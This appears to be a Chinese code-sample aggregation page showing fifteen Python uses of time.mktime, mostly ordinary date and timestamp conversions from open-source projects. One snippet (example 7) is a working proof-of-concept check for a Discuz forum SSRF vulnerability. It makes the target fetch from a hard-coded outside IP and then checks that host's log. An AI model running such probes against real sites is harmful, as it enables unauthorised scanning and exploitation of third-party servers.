当前位置: 首页>>代码示例>>Python>>正文


Python time.mktime方法代码示例

本文整理汇总了Python中time.mktime方法的典型用法代码示例。如果您正苦于以下问题:Python time.mktime方法的具体用法?Python time.mktime怎么用?Python time.mktime使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在time的用法示例。


在下文中一共展示了time.mktime方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: get_records

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def get_records(self, start_time, end_time, msgid=1, number=10000):
        """
        获取客服聊天记录

        :param start_time: 查询开始时间,UNIX 时间戳
        :param end_time: 查询结束时间,UNIX 时间戳,每次查询不能跨日查询
        :param msgid: 消息id顺序从小到大,从1开始
        :param number: 每次获取条数,最多10000条

        :return: 返回的 JSON 数据包
        """
        if isinstance(start_time, datetime.datetime):
            start_time = time.mktime(start_time.timetuple())
        if isinstance(end_time, datetime.datetime):
            end_time = time.mktime(end_time.timetuple())
        record_data = {
            "starttime": int(start_time),
            "endtime": int(end_time),
            "msgid": msgid,
            "number": number,
        }
        res = self._post("https://api.weixin.qq.com/customservice/msgrecord/getmsglist", data=record_data,)
        return res 
开发者ID:wechatpy,项目名称:wechatpy,代码行数:25,代码来源:customservice.py

示例2: update_data_start_time

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def update_data_start_time():
    if "FileReplay" in parameters['mode'] and reporting_config_vars['prev_endtime'] != "0" and len(
            reporting_config_vars['prev_endtime']) >= 8:
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    elif reporting_config_vars['prev_endtime'] != "0":
        start_time = reporting_config_vars['prev_endtime']
        # pad a second after prev_endtime
        start_time_epoch = 1000 + long(1000 * time.mktime(time.strptime(start_time, "%Y%m%d%H%M%S")));
        end_time_epoch = start_time_epoch + 1000 * 60 * reporting_config_vars['reporting_interval']
    else:  # prev_endtime == 0
        end_time_epoch = int(time.time()) * 1000
        start_time_epoch = end_time_epoch - 1000 * 60 * reporting_config_vars['reporting_interval']
    return start_time_epoch


# update prev_endtime in config file 
开发者ID:insightfinder,项目名称:InsightAgent,代码行数:21,代码来源:reportMetrics.py

示例3: morsel_to_cookie

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def morsel_to_cookie(morsel):
    """Convert a Morsel object into a Cookie containing the one k/v pair."""

    expires = None
    if morsel['max-age']:
        expires = time.time() + morsel['max-age']
    elif morsel['expires']:
        time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
        expires = time.mktime(
            time.strptime(morsel['expires'], time_template)) - time.timezone
    return create_cookie(
        comment=morsel['comment'],
        comment_url=bool(morsel['comment']),
        discard=False,
        domain=morsel['domain'],
        expires=expires,
        name=morsel.key,
        path=morsel['path'],
        port=None,
        rest={'HttpOnly': morsel['httponly']},
        rfc2109=False,
        secure=bool(morsel['secure']),
        value=morsel.value,
        version=morsel['version'] or 0,
    ) 
开发者ID:war-and-code,项目名称:jawfish,代码行数:27,代码来源:cookies.py

示例4: backtracking_id

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def backtracking_id(site):
    cookies = cookies_raw2jar(site['cookies'])
    for _tid in range(site['start_torrent'], site['end_torrent'] + 2):
        t0 = time.time()

        _link = site['torrent_url'].format(_tid)
        torrent_page = requests.get(_link, cookies=cookies, headers=headers)
        title_search = re.search(site['search_ptn'], torrent_page.text)

        if title_search:
            _title = pymysql.escape_string(unescape(title_search.group("title")))
            pubDate = re.search("发布于(.+?)<", torrent_page.text).group(1)
            _timestamp = time.mktime(time.strptime(pubDate, "%Y-%m-%d %H:%M:%S"))

            wrap_insert(site=site['name'], sid=_tid, title=_title, link=_link, pubdate=_timestamp, t=t0)
        else:
            print("ID: {}, Cost: {:.5f} s, No torrent.".format(_tid, time.time() - t0))

        time.sleep(2) 
开发者ID:Rhilip,项目名称:PT-help,代码行数:21,代码来源:backtracking.py

示例5: test_Date

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_Date():
    d1 = snowflake.connector.dbapi.Date(
        2002, 12, 25)
    d2 = snowflake.connector.dbapi.DateFromTicks(
        time.mktime((
            2002,
            12,
            25,
            0,
            0,
            0,
            0,
            0,
            0)))
    # API doesn't specify, but it seems to be implied
    assert str(d1) == str(d2) 
开发者ID:snowflakedb,项目名称:snowflake-connector-python,代码行数:18,代码来源:test_dbapi.py

示例6: test_Timestamp

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_Timestamp():
    t1 = snowflake.connector.dbapi.Timestamp(
        2002,
        12,
        25, 13,
        45,
        30)
    t2 = snowflake.connector.dbapi.TimestampFromTicks(
        time.mktime(
            (
                2002,
                12,
                25,
                13,
                45,
                30,
                0,
                0,
                0))
    )
    # API doesn't specify, but it seems to be implied
    assert str(t1) == str(t2) 
开发者ID:snowflakedb,项目名称:snowflake-connector-python,代码行数:24,代码来源:test_dbapi.py

示例7: check

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def check(ip, port, timeout=10):
    url = ip + ':' + port
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
    }
    time_stamp = time.mktime(datetime.datetime.now().timetuple())
    m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
    md5_str = m.hexdigest()
    payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465"
    vulnurl = url + payload
    try:
        req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
        eye_url = "http://45.76.158.91/web.log"
        time.sleep(6)
        reqr = requests.get(eye_url, timeout=timeout, verify=False)
        if md5_str in reqr.text:
            return u"存在discuz论坛forum.php参数message SSRF漏洞"
    except:
        pass 
开发者ID:muYoz,项目名称:xunfeng_vul_poc,代码行数:21,代码来源:discuz_SSRF.py

示例8: _get_hour

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _get_hour():
    '''
    返回上个小时的时间戳
    假如现在是 2018.11.21 19:44:02, 那么返回 '1542794400'
    即 2018.11.21 18:00:00 的时间戳

    返回值:
        字符串;上个小时的时间戳
    '''

    return int(
        time.mktime(
            time.strptime(
                time.strftime("%Y-%m-%d %H"), "%Y-%m-%d %H")
        )
    )-3600 
开发者ID:Macr0phag3,项目名称:GithubMonitor,代码行数:18,代码来源:mysqlite.py

示例9: test_multiline_formatter_puts_message_lines_into_data_area

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_multiline_formatter_puts_message_lines_into_data_area():
    """
    We want logs to look like:

    01 19:36:09.823  |This is
                     |multiline
                     |content
    """
    from moler.config.loggers import MultilineWithDirectionFormatter

    formatter = MultilineWithDirectionFormatter(fmt="%(asctime)s.%(msecs)03d |%(message)s", datefmt="%d %H:%M:%S")
    tm_struct = time.strptime("2000-01-01 19:36:09", "%Y-%m-%d %H:%M:%S")
    epoch_tm = time.mktime(tm_struct)
    logging_time = epoch_tm
    log_rec = logging.makeLogRecord({'msg': "This is\nmultiline\ncontent",
                                     'created': logging_time, 'msecs': 823})
    output = formatter.format(log_rec)

    assert output == "01 19:36:09.823 |This is\n" \
                     "                |multiline\n" \
                     "                |content" 
开发者ID:nokia,项目名称:moler,代码行数:23,代码来源:test_loggers.py

示例10: timestamp

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def timestamp(dt):
        if dt.tzinfo is None:
            from time import mktime
            return mktime((dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, -1, -1, -1)) + dt.microsecond / 1e6
        else:
            from dateutil.tz import tzutc
            return (dt - datetime.datetime(1970, 1, 1, tzinfo=tzutc())).total_seconds() 
开发者ID:kislyuk,项目名称:aegea,代码行数:9,代码来源:compat.py

示例11: to_xml

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def to_xml(self, value):
        value = time.mktime(datetime.timetuple(value))
        value = int(value)
        return f"<{self.name}>{value}</{self.name}>" 
开发者ID:wechatpy,项目名称:wechatpy,代码行数:6,代码来源:fields.py

示例12: _to_timestamp

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _to_timestamp(cls, date):
        if isinstance(date, str):
            date = datetime.strptime(date, "%Y-%m-%d %H:%M:%S")
        if isinstance(date, datetime):
            timestamp = int(time.mktime(date.timetuple()))
            return timestamp
        return int(date) 
开发者ID:wechatpy,项目名称:wechatpy,代码行数:9,代码来源:shakearound.py

示例13: _save

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _save(self, expiration_time):
        # Send the expiration time as "Unix time" (seconds since 1/1/1970)
        td = int(time.mktime(expiration_time.timetuple()))
        self.mc_lock.acquire()
        try:
            if not self.cache.set(self.id, (self._data, expiration_time), td):
                raise AssertionError(
                    'Session data for id %r not set.' % self.id)
        finally:
            self.mc_lock.release() 
开发者ID:cherrypy,项目名称:cherrypy,代码行数:12,代码来源:sessions.py

示例14: test_session_expiration_set_to_configured_lifetime

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def test_session_expiration_set_to_configured_lifetime(self, time_mock, utc_time_sans_frac_mock):
        timestamp = time.mktime(datetime(2017, 1, 1).timetuple())
        time_mock.return_value = timestamp
        utc_time_sans_frac_mock.return_value = int(timestamp)

        exp_time = 10
        state = 'test_state'
        nonce = 'test_nonce'
        id_token = IdToken(iss=self.PROVIDER_BASEURL,
                           aud=self.CLIENT_ID,
                           sub='sub1',
                           exp=int(timestamp) + exp_time,
                           iat=int(timestamp),
                           nonce=nonce)
        token_response = {'access_token': 'test', 'token_type': 'Bearer', 'id_token': id_token.to_jwt()}
        token_endpoint = self.PROVIDER_BASEURL + '/token'
        responses.add(responses.POST, token_endpoint, json=token_response)

        session_lifetime = 1234
        self.app.config['PERMANENT_SESSION_LIFETIME'] = session_lifetime
        self.init_app(provider_metadata_extras={'token_endpoint': token_endpoint})

        with self.app.test_client() as client:
            with client.session_transaction() as session:
                UserSession(session, self.PROVIDER_NAME)
                session['destination'] = '/'
                session['state'] = state
                session['nonce'] = nonce
            resp = client.get('/redirect_uri?state={}&code=test'.format(state))

        cookies = SimpleCookie()
        cookies.load(resp.headers['Set-Cookie'])
        session_cookie_expiration = cookies[self.app.config['SESSION_COOKIE_NAME']]['expires']
        parsed_expiration = datetime.strptime(session_cookie_expiration, '%a, %d-%b-%Y %H:%M:%S GMT')
        cookie_lifetime = (parsed_expiration - datetime.utcnow()).total_seconds()
        assert cookie_lifetime == pytest.approx(session_lifetime, abs=1) 
开发者ID:zamzterz,项目名称:Flask-pyoidc,代码行数:38,代码来源:test_flask_pyoidc.py

示例15: _time_str_to_unix

# 需要导入模块: import time [as 别名]
# 或者: from time import mktime [as 别名]
def _time_str_to_unix(timestring):
    """
    :type timestring: Union[str, int]
    :rtype: Union[int, None]
    """
    if isinstance(timestring, (int, float)):
        return timestring
    try:
        t = int(time.mktime(datetime.strptime(timestring, '%a, %d %b %Y %H:%M:%S %Z').timetuple()))
    except:
        t = None
    return t 
开发者ID:aploium,项目名称:zmirror,代码行数:14,代码来源:cache_system.py


注:本文中的time.mktime方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。